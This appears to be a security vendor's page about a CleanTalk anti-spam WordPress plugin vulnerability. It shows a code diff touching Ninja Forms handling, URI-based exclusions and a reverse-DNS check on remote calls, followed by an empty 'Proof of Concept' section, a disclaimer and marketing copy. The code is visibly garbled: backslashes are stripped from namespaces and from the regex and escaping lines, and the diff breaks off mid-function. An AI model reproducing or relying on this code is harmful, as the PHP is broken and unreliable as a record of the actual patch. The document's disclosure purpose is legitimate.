+            do_action('apbct_skipped_request', __FILE__ . ' -> ' . __FUNCTION__ . '():' . __LINE__, $_POST);
+            return null;
+        }
+
+        if (
+            ($apbct->settings['data__protect_logged_in'] != 1 && is_user_logged_in()) || // Skip processing for logged in users.
+            apbct_exclusions_check__url()
+        ) {
+            do_action('apbct_skipped_request', __FILE__ . ' -> ' . __FUNCTION__ . '():' . __LINE__, $_POST);
+            return null;
+        }
+
+        //skip ninja PRO service requests
+        if ( !empty(Post::getString('nonce_ts')) ) {
+            do_action('apbct_skipped_request', __FILE__ . ' -> ' . __FUNCTION__ . '():' . __LINE__, $_POST);
+            return null;
+        }
+
+        try {
+            $gfa_dto = $this->getGFANew();
+        } catch (Exception $_e) {
+            // It is possible here check the reason if the new way collecting fields is not available.
+            $gfa_dto = $this->getGFAOld();
+        }
+
+        $form_data = json_decode(Post::getString('formData'), true);
+        if ( empty($form_data) ) {
+            $form_data = json_decode(stripslashes(Post::getString('formData')), true);
+        }
+
+        if (empty($form_data)) {
+            do_action('apbct_skipped_request', __FILE__ . ' -> ' . __FUNCTION__ . '():' . __LINE__, $_POST);
+            return null;
+        }
+
+        if ( $gfa_dto->nickname === '' || $gfa_dto->email === '' ) {
+            $form_data = json_decode(Post::getString('formData'), true);
+            if ( empty($form_data) ) {
+                $form_data = json_decode(stripslashes(Post::getString('formData')), true);
+            }
+            $form_fields = $form_data['fields'] ?? array();
+            $gfa_dto = $this->updateEmailNicknameFromNFService($gfa_dto, $form_fields);
+        }
+
+        if ( $gfa_dto->subject != '' ) {
+            $gfa_dto->message = array_merge(array('subject' => $gfa_dto->subject), $gfa_dto->message);
+        }
+
+        //Ninja Forms xml fix
+        foreach ( $gfa_dto->message as $key => $value ) {
+            if ( strpos($value, '<xml>') !== false ) {
+                unset($gfa_dto->message[$key]);
+            }
+        }
+
+        $this->sender_email = $gfa_dto->email;
+
+        $fields_visibility_data = GetFieldsAny::getVisibleFieldsData($form_data, true);
+        $this->setVisibleFieldsData($fields_visibility_data);
+
+        return $gfa_dto->getArray();
+    }
+
+    public function doBlock($message)
+    {
+        global $apbct;
+        // We have to use GLOBAL variable to transfer the comment to apbct_form__ninjaForms__changeResponse() function :(
+        $apbct->response = $message;
+        add_action(
+            'ninja_forms_before_response',
+            [$this, 'hookChangeResponse'],
+            10,
+            1
+        );
+        add_action(
+            'ninja_forms_action_email_send',
+            [$this, 'hookStopEmail'],
+            1,
+            5
+        ); // Prevent mail notification
+        add_action(
+            'ninja_forms_save_submission',
+            [$this, 'hookPreventSubmission'],
+            1,
+            2
+        ); // Prevent mail notification
+        add_filter(
+            'ninja_forms_run_action_type_add_to_hubspot',
+            /** @psalm-suppress UnusedClosureParam */
+            function ($result) {
+                return false;
+            },
+            1
+        );
+        add_filter(
+            'ninja_forms_run_action_type_nfacds',
+            /** @psalm-suppress UnusedClosureParam */
+            function ($result) {
+                return false;
+            },
+            1
+        );
+        add_filter(
+            'ninja_forms_run_action_type_save',
+            /** @psalm-suppress UnusedClosureParam */
+            function ($result) {
+                return false;
+            },
+            1
+        );
+        add_filter(
+            'ninja_forms_run_action_type_successmessage',
+            /** @psalm-suppress UnusedClosureParam */
+            function ($result) {
+                return false;
+            },
+            1
+        );
+        add_filter(
+            'ninja_forms_run_action_type_email',
+            /** @psalm-suppress UnusedClosureParam */
+            function ($result) {
+                return false;
+            },
+            1
+        );
+    }
+
+    public function doFinalActions($argument)
+    {
+        global $apbct;
+
+        if (current_action() === 'ninja_forms_display_after_form') {
+            self::hookAddTrustedFieldToForm();
+            return true;
+        }
+
+        if (!empty($this->base_call_result)) {
+            // Change mail notification if license is out of date
+            if ( $apbct->data['moderate'] == 0 &&
+                ($this->base_call_result->fast_submit == 1 || $this->base_call_result->blacklisted == 1 || $this->base_call_result->js_disabled == 1)
+            ) {
+                $apbct->sender_email = $this->sender_email;
+                $apbct->sender_ip    = Helper::ipGet();
+                add_filter('ninja_forms_action_email_message', [$this, 'hookChangeMailNotification'], 1, 3);
+            }
+        }
+
+        return true;
+    }
+
+    /**
+     * @return GetFieldsAnyDTO
+     * @throws Exception
+     * @psalm-suppress UndefinedClass
+     */
+    public function getGFANew(): GetFieldsAnyDTO
+    {
+        $form_data = json_decode(Post::getString('formData'), true);
+        if ( ! $form_data ) {
+            $form_data = json_decode(stripslashes(TT::toString(Post::get('formData'))), true);
+        }
+        if ( ! isset($form_data['fields']) ) {
+            throw new Exception('No form data is provided');
+        }
+        if ( ! function_exists('Ninja_Forms') ) {
+            throw new Exception('No `Ninja_Forms` class exists');
+        }
+        $nf_form_info = Ninja_Forms()->form();
+        if (!class_exists('NF_Abstracts_ModelFactory') || ! ($nf_form_info instanceof NF_Abstracts_ModelFactory) ) {
+            throw new Exception('Getting NF form failed');
+        }
+        $nf_form_fields_info = $nf_form_info->get_fields();
+        if ( ! is_array($nf_form_fields_info) && count($nf_form_fields_info) === 0 ) {
+            throw new Exception('No fields are provided');
+        }
+        $nf_form_fields_info_array = [];
+        foreach ($nf_form_fields_info as $field) {
+            if ( $field instanceof NF_Database_Models_Field) {
+                $nf_form_fields_info_array[$field->get_id()] = [
+                    'field_key' => TT::toString($field->get_setting('key')),
+                    'field_type' => TT::toString($field->get_setting('type')),
+                    'field_label' => TT::toString($field->get_setting('label')),
+                ];
+            }
+        }
+
+        $nf_form_fields = $form_data['fields'];
+        $nickname = '';
+        $nf_prior_email = '';
+        $nf_emails_array = array();
+        $fields = [];
+        foreach ($nf_form_fields as $field) {
+            if ( isset($nf_form_fields_info_array[$field['id']]) ) {
+                $field_info = $nf_form_fields_info_array[$field['id']];
+                if ( isset($field_info['field_key'], $field_info['field_type']) ) {
+                    $field_key = TT::toString($field_info['field_key']);
+                    $field_type = TT::toString($field_info['field_type']);
+                    $fields['nf-field-' . $field['id'] . '-' . $field_type] = $field['value'];
+                    if ( stripos($field_key, 'name') !== false && stripos($field_type, 'name') !== false ) {
+                        $nickname .= ' ' . $field['value'];
+                    }
+                    if (
+                        (stripos($field_key, 'email') !== false && $field_type === 'email') ||
+                        (function_exists('is_email') && is_string($field['value']) && is_email($field['value']))
+                    ) {
+                        /**
+                         * On the plugin side we can not decide which of presented emails have to be used for check as sender_email,
+                         * so we do collect any of them and provide to GFA as $emails_array param.
+                         */
+                        if (empty($nf_prior_email)) {
+                            $nf_prior_email = $field['value'];
+                        } else {
+                            $nf_emails_array[] = $field['value'];
+                        }
+                    }
+                }
+            }
+        }
+
+        return ct_gfa_dto($fields, $nf_prior_email, $nickname, $nf_emails_array);
+    }
+
+    /**
+     * @return GetFieldsAnyDTO
+     */
+    public function getGFAOld(): GetFieldsAnyDTO
+    {
+        /**
+         * Filter for POST
+         */
+        $input_array = apply_filters('apbct__filter_post', $_POST);
+
+        // Choosing between sanitized GET and POST
+        $input_data = Get::getString('ninja_forms_ajax_submit') || Get::getString('nf_ajax_submit')
+            ? array_map(function ($value) {
+                return is_string($value) ? htmlspecialchars($value) : $value;
+            }, $_GET)
+            : $input_array;
+
+        // Return the collected fields data
+        return ct_gfa_dto($input_data);
+    }
+
+
+    /**
+     * @param $_some
+     * @param $_form_id
+     * @return false
+     */
+    public static function hookPreventSubmission($_some, $_form_id): bool
+    {
+        return false;
+    }
+
+    /**
+     * @param GetFieldsAnyDTO $gfa_dto
+     * @param array $nf_form_fields
+     * @return GetFieldsAnyDTO
+     */
+    public function updateEmailNicknameFromNFService(GetFieldsAnyDTO $gfa_dto, array $nf_form_fields): GetFieldsAnyDTO
+    {
+        if ( function_exists('Ninja_Forms') && !empty($nf_form_fields) ) {
+            /** @psalm-suppress UndefinedFunction */
+            $nf_form_fields_info = Ninja_Forms()->form()->get_fields();
+            $nf_form_fields_info_array = [];
+            foreach ($nf_form_fields_info as $field) {
+                $nf_form_fields_info_array[$field->get_id()] = [
+                    'field_key' => $field->get_setting('key'),
+                    'field_type' => $field->get_setting('type'),
+                    'field_label' => $field->get_setting('label'),
+                ];
+            }
+
+            $nickname = '';
+            $email = '';
+            foreach ($nf_form_fields as $field) {
+                $field_info = $nf_form_fields_info_array[$field['id']];
+                // handle nickname-like fields, add matches to existing nickname string
+                if ( stripos($field_info['field_key'], 'name') !== false ) {
+                    $nickname = empty($nickname) ? $field['value'] : $nickname . ' ' . $field['value'];
+                }
+                // handle email-like fields, if no GFA result, set it once
+                if (empty($gfa_dto->email) && stripos($field_info['field_key'], 'email') !== false ) {
+                    $email = empty($email) ? $field['value'] : $email;
+                }
+            }
+            // if gfa is empty, fill it with data from Ninja Forms, if not empty, append data from Ninja Forms
+            $gfa_dto->nickname = empty($gfa_dto->nickname) ? $nickname : $gfa_dto->nickname . ' ' . $nickname;
+            // if email is empty, fill it with data from Ninja Forms, if not empty, keep DTO
+            $gfa_dto->email = empty($gfa_dto->email) ? $email : $gfa_dto->email;
+        }
+        return $gfa_dto;
+    }
+
+
+    /**
+     * @param $_some
+     * @param $_action_settings
+     * @param $_message
+     * @param $_headers
+     * @param $_attachments
+     *
+     * @throws Exception
+     */
+    public static function hookStopEmail($_some, $_action_settings, $_message, $_headers, $_attachments)
+    {
+        global $apbct;
+        throw new Exception($apbct->response);
+    }
+
+    /**
+     * @param $data
+     *
+     * @psalm-suppress InvalidArrayOffset
+     */
+    public static function hookChangeResponse($data)
+    {
+        global $apbct;
+
+        $nf_field_id = 1;
+
+        // Show error message below field found by ID
+        if (
+            isset($data['fields_by_key']) &&
+            array_key_exists('email', $data['fields_by_key']) &&
+            !empty($data['fields_by_key']['email']['id'])
+        ) {
+            // Find ID of EMAIL field
+            $nf_field_id = $data['fields_by_key']['email']['id'];
+        } else {
+            // Find ID of last field (usually SUBMIT)
+            if (isset($data['fields'])) {
+                $fields_keys = array_keys($data['fields']);
+                $nf_field_id = array_pop($fields_keys);
+            }
+        }
+
+        // Below is modified NJ logic
+        $error = array(
+            'fields' => array(
+                $nf_field_id => $apbct->response,
+            ),
+        );
+
+        $response = array('data' => $data, 'errors' => $error, 'debug' => '');
+
+        $json_response = wp_json_encode($response, JSON_FORCE_OBJECT);
+        if ($json_response === false) {
+            $json_response = '{"error": "JSON encoding failed"}';
+        }
+        die($json_response);
+    }
+
+    /**
+     * Inserts anti-spam hidden to ninja forms
+     *
+     * @return void
+     * @psalm-suppress UnusedParam
+     */
+    public static function hookAddTrustedFieldToForm()
+    {
+        global $apbct;
+
+        static $second_execute = false;
+
+        if ( $apbct->settings['forms__contact_forms_test'] == 1 && !is_user_logged_in() ) {
+            if ( $apbct->settings['trusted_and_affiliate__under_forms'] === '1' && $second_execute) {
+                echo Escape::escKsesPreset(
+                    apbct_generate_trusted_text_html('center'),
+                    'apbct_public__trusted_text'
+                );
+            }
+        }
+
+        $second_execute = true;
+    }
+
+    /**
+     * Changes email notification for success subscription for Ninja Forms
+     *
+     * @param string $message Body of email notification
+     *
+     * @return string Body for email notification
+     */
+    public static function hookChangeMailNotification($message, $_data, $action_settings)
+    {
+        global $apbct;
+
+        if ( $action_settings['to'] !== $apbct->sender_email ) {
+            $message .= wpautop(
+                PHP_EOL . '---'
+                . PHP_EOL
+                . __('CleanTalk Anti-Spam: This message could be spam.', 'cleantalk-spam-protect')
+                . PHP_EOL . __('CleanTalk's Anti-Spam database:', 'cleantalk-spam-protect')
+                . PHP_EOL . 'IP: ' . $apbct->sender_ip
+                . PHP_EOL . 'Email: ' . $apbct->sender_email
+                . PHP_EOL .
+                __('If you want to be sure activate protection in your Anti-Spam Dashboard: ', 'clentalk') .
+                //HANDLE LINK
+                'https://cleantalk.org/my/?cp_mode=antispam&utm_source=newsletter&utm_medium=email&utm_campaign=ninjaform_activate_antispam' . $apbct->user_token
+            );
+        }
+
+        return $message;
+    }
+}
--- a/cleantalk-spam-protect/lib/Cleantalk/Antispam/Integrations/PaidMembershipPro.php
+++ b/cleantalk-spam-protect/lib/Cleantalk/Antispam/Integrations/PaidMembershipPro.php
@@ -13,6 +13,13 @@
      */
     public function getDataForChecking($argument)
     {
+        /**
+         * Login form exclusion
+         */
+        if (Post::getString('pmpro_login_form_used') == 1) {
+            return null;
+        }
+
         $this->is_spammer = $argument;

         /**
--- a/cleantalk-spam-protect/lib/Cleantalk/ApbctWP/ContactsEncoder/Exclusions/ExclusionsService.php
+++ b/cleantalk-spam-protect/lib/Cleantalk/ApbctWP/ContactsEncoder/Exclusions/ExclusionsService.php
@@ -37,6 +37,8 @@
         array('class', 'elementor-swiper', 'elementor-testimonial', 'swiper-pagination'),
         // ics-calendar
         array('ics_calendar'),
+        // WooCommerce block order confirmation create account form
+        array('class', 'wc-block-order-confirmation-create-account-form'),
     );

     public function doReturnContentBeforeModify($content)
@@ -120,27 +122,57 @@
     /**
      * Skip encoder run on hooks.
      *
-     * 1. Applies filter "apbct_hook_skip_email_encoder_on_url_list" to get modified list of URI chunks that needs to skip.
+     * Applies filter "apbct_skip_email_encoder_on_uri_chunk_list" to get list of URI patterns to skip.
+     * Each pattern can be:
+     * - A simple string (e.g., 'details') - matched as substring
+     * - A regex pattern (e.g., '^/$' for homepage) - matched as regex if contains special chars
+     *
      * @return bool
      */
     private function byUrlOnHooks()
     {
-        $skip_encode = false;
-        $url_chunk_list = array();
+        $url_patterns = apply_filters('apbct_skip_email_encoder_on_uri_chunk_list', array());
+
+        if (empty($url_patterns) || !is_array($url_patterns)) {
+            return false;
+        }

-        // Apply filter "apbct_hook_skip_email_encoder_on_url_list" to get the URI chunk list.
-        $url_chunk_list = apply_filters('apbct_skip_email_encoder_on_uri_chunk_list', $url_chunk_list);
+        $request_uri = TT::toString(Server::get('REQUEST_URI'));

-        if ( !empty($url_chunk_list) && is_array($url_chunk_list) ) {
-            foreach ($url_chunk_list as $chunk) {
-                if (is_string($chunk) && strpos(TT::toString(Server::get('REQUEST_URI')), $chunk) !== false) {
-                    $skip_encode = true;
-                    break;
-                }
+        foreach ($url_patterns as $pattern) {
+            if (is_string($pattern) && $this->isUriMatchPattern($pattern, $request_uri)) {
+                return true;
             }
         }

-        return $skip_encode;
+        return false;
+    }
+
+    /**
+     * Check if URI matches the given pattern.
+     *
+     * @param string $pattern - simple string, special keyword or regex pattern
+     * @param string $uri - REQUEST_URI to check
+     * @return bool
+     */
+    private function isUriMatchPattern($pattern, $uri)
+    {
+        // Special keyword for homepage
+        if ($pattern === '__HOME__') {
+            return $uri === '/' || $uri === '';
+        }
+
+        // Check if pattern contains regex special characters
+        $is_regex = (bool) preg_match('/[^$.|?*+()[]{}]/', $pattern);
+
+        if (!$is_regex) {
+            // Simple substring match (faster)
+            return strpos($uri, $pattern) !== false;
+        }
+
+        // Regex match: escape delimiter
+        $safe_pattern = str_replace('/', '/', $pattern);
+        return (bool) @preg_match('/' . $safe_pattern . '/u', $uri);
     }

     /**
--- a/cleantalk-spam-protect/lib/Cleantalk/ApbctWP/GetFieldsAny.php
+++ b/cleantalk-spam-protect/lib/Cleantalk/ApbctWP/GetFieldsAny.php
@@ -466,7 +466,7 @@
      *
      * @return array
      */
-    private function getVisibleFields()
+    private function getVisibleFields(): array
     {
         // Visible fields processing
         $visible_fields = self::getVisibleFieldsData();
@@ -484,22 +484,34 @@
      * <li>'invisible_fields_count' => (int)3</li>
      * </ul>
      * Empty array if nothing found.
+     *
+     * @param array $custom_input_array array of custom form data
+     * @param bool $skip_comparing Do skip comparing provided request fields with present in apbct_visible_fields collection. Useful for integrations.
      * @return array|string[]
      */
-    public static function getVisibleFieldsData()
+    public static function getVisibleFieldsData(array $custom_input_array = [], bool $skip_comparing = false): array
     {
+        $skip_comparing = !empty($custom_input_array) && $skip_comparing;
         // get from Cookies::
         $from_cookies = Cookie::getVisibleFields();
         // get from Post:: and base64 decode the value
-        $from_post = @base64_decode(Post::getString('apbct_visible_fields'));
+        $global_post_source = Post::getString('apbct_visible_fields');
+        // get from custom input array
+        $input_array_source = TT::getArrayValueAsString($custom_input_array, 'apbct_visible_fields');
+
+        $from_post = !empty($input_array_source) ? $input_array_source : $global_post_source;
+        $from_post = @base64_decode($from_post);

         $current_fields_collection = self::getFieldsDataForCurrentRequest($from_cookies, $from_post);

+        $result = array();
+
         if ( ! empty($current_fields_collection)) {
             // get all available fields to compare with $current_fields_collection
-            $post_fields_to_check = self::getAvailablePOSTFieldsForCurrentRequest();
+            $post_fields_to_check = $custom_input_array ?: self::getAvailablePOSTFieldsForCurrentRequest();
             // comparing
             foreach ($current_fields_collection as $current_fields) {
+                // todo gull: can not find any logic for invisible fields or inputs, so far as for visible inputs
                 // prepare data
                 $count = isset($current_fields['visible_fields_count']) && is_scalar(
                     $current_fields['visible_fields_count']
@@ -514,51 +526,17 @@

                 // if necessary data is available
                 if ( isset($fields_string, $count) ) {
-                    //fluent forms chunk
-                    if (
-                        isset($post_fields_to_check['data'], $post_fields_to_check['action']) &&
-                        $post_fields_to_check['action'] === 'fluentform_submit'
-                    ) {
-                        $fluent_forms_out = array();
-                        $fluent_forms_fields = is_string($post_fields_to_check['data']) ? urldecode($post_fields_to_check['data']) : '';
-                        parse_str($fluent_forms_fields, $fluent_forms_fields_array);
-                        $fields_array = explode(' ', $fields_string);
-                        foreach ( $fields_array as $visible_field_slug ) {
-                            if ( strpos($visible_field_slug, '[') ) {
-                                $vfs_array_like_string = str_replace(array('[', ']'), ' ', $visible_field_slug);
-                                $vfs_array = explode(' ', trim($vfs_array_like_string));
-                                if (
-                                    isset(
-                                        $vfs_array[0],
-                                        $vfs_array[1]
-                                    ) &&
-                                    isset(
-                                        $fluent_forms_fields_array[$vfs_array[0]],
-                                        $fluent_forms_fields_array[$vfs_array[0]][$vfs_array[1]]
-                                    )
-                                ) {
-                                    $fluent_forms_out['visible_fields'][] = $visible_field_slug;
-                                }
-                            } else {
-                                if ( isset($fluent_forms_fields_array[$visible_field_slug]) ) {
-                                    $fluent_forms_out['visible_fields'][] = $visible_field_slug;
-                                }
-                            }
-                        }
-                        return $fluent_forms_out;
-                    }
-
                     // parse string to get fields array
                     $fields_array = explode(' ', $fields_string);
-                    // if is intersected with current post fields - that`s it
-                    if (count(array_intersect(array_keys($post_fields_to_check), $fields_array)) > 0) {
-                        return ! empty($current_fields) && is_array($current_fields) ? $current_fields : array();
+                    // if is intersected with current post fields - that's it
+                    if ($skip_comparing || count(array_intersect(array_keys($post_fields_to_check), $fields_array)) > 0) {
+                        $result = ! empty($current_fields) && is_array($current_fields) ? $current_fields : array();
                     }
                 }
             }
         }

-        return array();
+        return $result;
     }

     /**
--- a/cleantalk-spam-protect/lib/Cleantalk/ApbctWP/Promotions/GF2DBPromotion.php
+++ b/cleantalk-spam-protect/lib/Cleantalk/ApbctWP/Promotions/GF2DBPromotion.php
@@ -1,100 +0,0 @@
-<?php
-
-namespace CleantalkApbctWPPromotions;
-
-use CleantalkApbctWPLinkConstructor;
-
-class GF2DBPromotion extends Promotion
-{
-    /**
-     * @inheritDoc
-     */
-    public static $setting_name = 'forms__gravity_promotion_gf2db';
-
-    /**
-     * @inheritDoc
-     */
-    public function couldPerformActions()
-    {
-        $gravity_active = apbct_is_plugin_active('gravityforms/gravityforms.php');
-        $gf2db_active = apbct_is_plugin_active('cleantalk-doboard-add-on-for-gravity-forms/cleantalk-doboard-add-on-for-gravity-forms.php');
-        return $gravity_active && !$gf2db_active;
-    }
-
-    /**
-     * @inheritDoc
-     */
-    public function performActions()
-    {
-        add_action('gform_pre_send_email', array($this, 'modifyAdminEmailContent'), 999, 4);
-    }
-
-    /**
-     * @inheritDoc
-     */
-    public function getDescriptionForSettings()
-    {
-        return __('Add helpful links to the bottom of all notifications about new messages from the form. These emails are sent to administrators.', 'cleantalk-spam-protect');
-    }
-
-    /**
-     * @inheritDoc
-     */
-    public function getTitleForSettings()
-    {
-        return __('Attach helpful links to Gravity Forms admin notifications', 'cleantalk-spam-protect');
-    }
-
-    /**
-     * Modify email content by adding a helpful link to the bottom of the email.
-     * @param array $email Email content provided by Gravity Forms.
-     * @param string $_message_format Hook misc param.
-     * @param array $notification Notification array data.
-     * @param array $_entry Hook misc param.
-     *
-     * @return array
-     * @psalm-suppress PossiblyUnusedReturnValue
-     */
-    public function modifyAdminEmailContent($email, $_message_format, $notification, $_entry)
-    {
-        if (
-            isset($notification['to'], $email['message']) &&
-            $notification['to'] === '{admin_email}' &&
-            is_string($email['message'])
-        ) {
-            $new_content = $this->prepareAdminEmailContentHTML();
-            $email['message'] = str_replace('</body>', $new_content . '</body>', $email['message']);
-        }
-
-        return $email;
-    }
-
-    /**
-     * Prepare new helpful HTML for email content
-     * @return string
-     */
-    public function prepareAdminEmailContentHTML()
-    {
-        $text__call_to_action = __('Organize and track all messages by upgrading Gravity Forms with project management', 'cleantalk-spam-protect');
-        $text__turnoff = __('You can turn off this message on CleanTalk Anti-Spam plugin', 'cleantalk-spam-protect');
-        $text__turnoff_link_text = __('settings page', 'cleantalk-spam-protect');
-        $link__promotion = 'https://wordpress.org/plugins/cleantalk-doboard-add-on-for-gravity-forms/';
-        $link__promotion = LinkConstructor::buildSimpleHref(
-            $link__promotion,
-            $link__promotion
-        );
-        $link__settings = get_site_option('siteurl') . '/wp-admin/options-general.php?page=cleantalk#apbct_setting_group__forms_protection';
-        $link__settings = LinkConstructor::buildSimpleHref(
-            $link__settings,
-            $text__turnoff_link_text
-        );
-        $template = '<p>%s: %s</p><p style="font-size: x-small">%s %s.</p>';
-        return sprintf(
-            $template,
-            $text__call_to_action,
-            $link__promotion,
-            $text__turnoff,
-            $link__settings
-        );
-    }
-}
--- a/cleantalk-spam-protect/lib/Cleantalk/ApbctWP/Promotions/Promotion.php
+++ b/cleantalk-spam-protect/lib/Cleantalk/ApbctWP/Promotions/Promotion.php
@@ -1,54 +0,0 @@
-<?php
-
-namespace CleantalkApbctWPPromotions;
-
-abstract class Promotion
-{
-    /**
-     * @var string
-     */
-    protected static $setting_name = '';
-
-    public function init()
-    {
-        if (self::settingEnabled() && $this->couldPerformActions()) {
-            $this->performActions();
-        }
-    }
-
-    /**
-     * Return if APBCT setting is enabled.
-     * @return bool
-     */
-    protected static function settingEnabled()
-    {
-        global $apbct;
-        return !empty(static::$setting_name)
-               && isset($apbct->settings[static::$setting_name])
-               && $apbct->settings[static::$setting_name];
-    }
-
-    /**
-     * Additional condition if actions should be performed.
-     * @return bool
-     */
-    abstract protected function couldPerformActions();
-
-    /**
-     * Perform all the actions needs for promotion.
-     * @return void
-     */
-    abstract protected function performActions();
-
-    /**
-     * Return description for APBCT settings.
-     * @return String
-     */
-    abstract protected function getDescriptionForSettings();
-
-    /**
-     * Return title for APBCT settings.
-     * @return String
-     */
-    abstract protected function getTitleForSettings();
-}
--- a/cleantalk-spam-protect/lib/Cleantalk/ApbctWP/RemoteCalls.php
+++ b/cleantalk-spam-protect/lib/Cleantalk/ApbctWP/RemoteCalls.php
@@ -56,11 +56,14 @@
             'netserv3.cleantalk.org',
             'netserv4.cleantalk.org',
         ];
-
+        // Resolve IP of the client making the request and verify hostname from it to be in the list of RC servers hostnames
+        $client_ip = Helper::ipGet('remote_addr');
+        $verified_hostname = $client_ip ? CleantalkCommonHelper::ipResolve($client_ip) : false;
         $is_noc_request = ! $apbct->key_is_ok &&
             Request::get('spbc_remote_call_action') &&
             in_array(Request::get('plugin_name'), array('antispam', 'anti-spam', 'apbct')) &&
-            in_array(Helper::ipResolve(Helper::ipGet('remote_addr')), $rc_servers, true);
+            $verified_hostname !== false &&
+            in_array($verified_hostname, $rc_servers, true);

         // no token needs for this action, at least for now
         // todo Probably we still need to validate this, consult with analytics team
--- a/cleantalk-spam-protect/lib/Cleantalk/ApbctWP/State.php
+++ b/cleantalk-spam-protect/lib/Cleantalk/ApbctWP/State.php
@@ -54,7 +54,6 @@
         'forms__contact_forms_test'                => 1,
         'forms__flamingo_save_spam'                => 1,
         'forms__gravityforms_save_spam'            => 1,
-        'forms__gravity_promotion_gf2db'           => 1,
         'forms__general_contact_forms_test'        => 1, // Anti-Spam test for unsupported and untested contact forms
         'forms__wc_checkout_test'                  => 1, // WooCommerce checkout default test
         'forms__wc_register_from_order'            => 1, // Woocommerce registration during checkout
--- a/cleantalk-spam-protect/lib/Cleantalk/ApbctWP/UpdatePlugin/DbColumnCreator.php
+++ b/cleantalk-spam-protect/lib/Cleantalk/ApbctWP/UpdatePlugin/DbColumnCreator.php
@@ -98,12 +98,244 @@
             $counter++;
         }

+        // Update indexes
+        if ( isset($schema_table_structure[$table_key]['__indexes']) ) {
+            $this->updateIndexes($schema_table_structure[$table_key]['__indexes'], $db_column_names, $errors);
+        }
+
         // Logging errors
         if (!empty($errors)) {
      

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School